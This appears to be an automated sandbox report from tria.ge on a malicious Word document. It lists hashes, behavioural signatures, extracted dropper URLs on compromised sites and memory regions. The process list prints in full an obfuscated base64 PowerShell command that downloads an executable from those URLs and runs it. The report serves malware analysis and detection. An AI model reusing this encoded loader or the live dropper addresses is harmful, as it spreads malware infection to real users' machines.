Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    102s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/09/2024, 06:46

General

  • Target

    fdfd991ced46a4dc2ae4a9ce04aa25c0_JaffaCakes118.doc

  • Size

    133KB

  • MD5

    fdfd991ced46a4dc2ae4a9ce04aa25c0

  • SHA1

    4c736fa3d75f48e8c63aa40202ff224f22f8028f

  • SHA256

    27442f20eb59b4d209325e6568821d54267357d72c350b9aac8bdbe721e0235c

  • SHA512

    49c7c5f42b6dc4233741b0862c09d2ed3afaf1958e83ea06995aaeb187e568e95ce0f86f9b0d766852612bf09f8754a9021d732a21e258d71a334d2e11a9d314

  • SSDEEP

    1536:LA2RD3bNqfNpu39IId5a6XP3Mg8afSqTVyzwyQUpsJNw:VR1qf69xak3MgxSOEzwyQisJNw

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://account-creation.tvstartup.com/wp-content/themes/yMqhmRl/

exe.dropper

http://305.tvstartup.com/wp-content/hE2GpD/

exe.dropper

http://khuranaeyecarecentre.com/article/GQX1/

exe.dropper

http://esteticavaleria.com/wp-content/xmLGWWW/

exe.dropper

http://yashdemo.yashinfosystems.com/advpanel/OVTRE/

exe.dropper

http://eventswifiinternet.com/wp-content/E/

exe.dropper

http://opendoorsukraine.com/media/UvBoX8A/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fdfd991ced46a4dc2ae4a9ce04aa25c0_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4852
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABBAGkAaQA5AGgAMAA2AD0AKAAnAEcAJwArACcAOAAnACsAKAAnADgAJwArACcAbQBiAHgAYQAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAUgBQAFIAbwBmAGkATABFAFwAbgBXADMAdQBpADUAaQBcAGQANABKADAAZABqAGYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAFUAcgBgAGkAdAB5AHAAcgBPAGAAVABgAE8AYABDAE8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAMgAnACsAJwAsACAAdABsACcAKwAnAHMAJwApACsAJwAxACcAKwAoACcAMQAnACsAJwAsACAAdABsACcAKQArACcAcwAnACkAOwAkAFcAZgBkAGgAdQB5AGUAIAA9ACAAKAAnAEEAJwArACgAJwB6ACcAKwAnAGYAawBjAG4AZQAnACsAJwAwACcAKQApADsAJABDADAAMQBsAF8AXwB3AD0AKAAnAFEAJwArACcAaABsACcAKwAoACcAcQBoAGkAJwArACcAdQAnACkAKQA7ACQAVQBtAHIAZABzAHYAMAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBrAFYAJwArACcAUQBOACcAKwAoACcAdwAnACsAJwAzACcAKwAnAHUAaQA1AGkAawBWACcAKQArACgAJwBRAEQAJwArACcANAAnACsAJwBqADAAZAAnACkAKwAoACcAagBmAGsAVgAnACsAJwBRACcAKQApAC4AIgBSAEUAYABQAGAATABBAEMARQAiACgAKAAnAGsAJwArACcAVgBRACcAKQAsAFsAUwBUAFIAaQBOAGcAXQBbAEMASABhAHIAXQA5ADIAKQApACsAJABXAGYAZABoAHUAeQBlACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRAGsAbAA5ADgAbgBzAD0AKAAnAFAAJwArACcAMABwACcAKwAoACcAZQA2AG8AJwArACcAeAAnACkAKQA7ACQASAA4AHYAYQBqAHoAYgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AGUAYgBjAEwAaQBFAG4AdAA7ACQAUwBoAF8ANAByAGUANQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAJwArACcAYwBjAG8AdQBuAHQALQBjACcAKwAnAHIAJwArACcAZQAnACkAKwAoACcAYQB0ACcAKwAnAGkAbwBuACcAKQArACgAJwAuACcAKwAnAHQAdgBzACcAKQArACcAdAAnACsAKAAnAGEAcgAnACsAJwB0ACcAKQArACcAdQAnACsAKAAnAHAALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdwAnACsAKAAnAHAALQAnACsAJwBjACcAKQArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwB0ACcAKwAnAGgAZQAnACsAJwBtACcAKwAnAGUAJwArACcAcwAvAHkAJwArACcATQBxAGgAbQBSAGwALwAqAGgAdAB0AHAAOgAvAC8AJwArACcAMwAwADUALgB0AHYAcwB0AGEAcgB0AHUAJwArACcAcAAuACcAKQArACcAYwAnACsAKAAnAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGMAbwBuAHQAJwApACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAGgARQAyACcAKwAnAEcAcAAnACkAKwAnAEQALwAnACsAJwAqAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AJwArACcAawBoACcAKwAnAHUAcgAnACsAJwBhAG4AYQBlACcAKwAnAHkAZQAnACkAKwAoACcAYwBhAHIAZQAnACsAJwBjAGUAJwApACsAKAAnAG4AdAAnACsAJwByAGUALgBjAG8AbQAvACcAKQArACgAJwBhAHIAdABpACcAKwAnAGMAJwApACsAKAAnAGwAZQAnACsAJwAvACcAKQArACgAJwBHACcAKwAnAFEAWAAnACkAKwAnADEAJwArACgAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AZQAnACsAJwBzAHQAZQB0AGkAYwBhACcAKwAnAHYAYQAnACsAJwBsAGUAJwApACsAKAAnAHIAaQBhAC4AYwBvAG0ALwAnACsAJwB3ACcAKwAnAHAAJwArACcALQBjACcAKwAnAG8AbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvAHgAJwArACcAbQAnACkAKwAoACcATAAnACsAJwBHAFcAVwBXAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwB5ACcAKQArACgAJwBhAHMAJwArACcAaABkACcAKwAnAGUAbQBvAC4AeQBhAHMAJwArACcAaAAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAGYAbwBzAHkAcwB0AGUAJwArACcAbQBzAC4AJwArACcAYwBvACcAKwAnAG0ALwBhAGQAJwArACcAdgBwACcAKQArACcAYQBuACcAKwAnAGUAbAAnACsAKAAnAC8AJwArACcATwBWACcAKQArACgAJwBUAFIARQAvACoAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBlACcAKQArACgAJwB2AGUAJwArACcAbgB0ACcAKQArACcAcwB3ACcAKwAoACcAaQAnACsAJwBmAGkAJwApACsAKAAnAGkAbgAnACsAJwB0AGUAcgBuACcAKwAnAGUAJwApACsAJwB0AC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwApACsAJwBwACcAKwAnAC0AYwAnACsAKAAnAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AJwApACsAKAAnAEUAJwArACcALwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwAnACsAJwBvACcAKwAnAHAAZQBuAGQAbwBvAHIAJwApACsAKAAnAHMAdQBrAHIAYQBpAG4AZQAnACsAJwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQAnACkAKwAoACcALwBVAHYAJwArACcAQgAnACkAKwAoACcAbwAnACsAJwBYADgAQQAvACcAKQApAC4AIgBTAFAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgANQBkAF8AZQA2AGoAPQAoACcASAAnACsAKAAnAGwAJwArACcAcABxACcAKQArACgAJwB6AGkAJwArACcANAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAZgBkAHkAOAA1ADgAIABpAG4AIAAkAFMAaABfADQAcgBlADUAKQB7AHQAcgB5AHsAJABIADgAdgBhAGoAegBiAC4AIgBkAG8AVwBgAE4ATABgAG8AYABBAGQAZgBpAEwAZQAiACgAJABKAGYAZAB5ADgANQA4ACwAIAAkAFUAbQByAGQAcwB2ADAAKQA7ACQAUAB1AHEAYwA0AGIAaAA9ACgAKAAnAEwAOQAxAGIAJwArACcAdQBzACcAKQArACcAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBtAHIAZABzAHYAMAApAC4AIgBsAGAARQBOAEcAdABIACIAIAAtAGcAZQAgADIANAAzADAANgApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACgAJABVAG0AcgBkAHMAdgAwACkAOwAkAEYAZgBvAGUAdgB3ADMAPQAoACgAJwBLAHgAJwArACcAdgAnACkAKwAnADkAYwAnACsAJwBjAG4AJwApADsAYgByAGUAYQBrADsAJABaAHQAawAwAHYAbABqAD0AKAAoACcASgAnACsAJwB1AGcAZgAnACkAKwAoACcAaQBuACcAKwAnADMAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAOABzAGQAbwBtAGEAPQAoACcAUgAnACsAJwBiACcAKwAoACcAbwAnACsAJwBvAHcANABuACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4388

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDD2DE.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jf455q2d.wrk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    ae933c15728189cb84a14e1dd00d64c4

    SHA1

    d115065909192610d259a04207a9ec3e63a5e11f

    SHA256

    dd6de6fb57332750e7095da40a8570bdd2f8973816d89361f481d80b69b633e9

    SHA512

    9088a4697931c565e13539c5d6d6dab7b7af60edb06bb66d042a86db448ed32cb8c0bcf8168b2945097035df181119857f9f16f62a3250bbf88bf8b8d9952938

  • memory/4388-78-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4388-100-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4388-79-0x00000182D7F30000-0x00000182D7F52000-memory.dmp

    Filesize

    136KB

  • memory/4852-15-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-5-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-1-0x00007FFFCABAD000-0x00007FFFCABAE000-memory.dmp

    Filesize

    4KB

  • memory/4852-10-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-13-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-12-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-14-0x00007FFF88AB0000-0x00007FFF88AC0000-memory.dmp

    Filesize

    64KB

  • memory/4852-11-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-16-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-17-0x00007FFF88AB0000-0x00007FFF88AC0000-memory.dmp

    Filesize

    64KB

  • memory/4852-18-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-20-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-19-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-0-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-29-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-38-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-77-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-2-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-6-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-7-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-8-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-95-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-97-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-96-0x00007FFFCABAD000-0x00007FFFCABAE000-memory.dmp

    Filesize

    4KB

  • memory/4852-9-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-101-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-102-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-103-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-3-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-109-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB

  • memory/4852-4-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-335-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-336-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-338-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-337-0x00007FFF8AB90000-0x00007FFF8ABA0000-memory.dmp

    Filesize

    64KB

  • memory/4852-339-0x00007FFFCAB10000-0x00007FFFCAD05000-memory.dmp

    Filesize

    2.0MB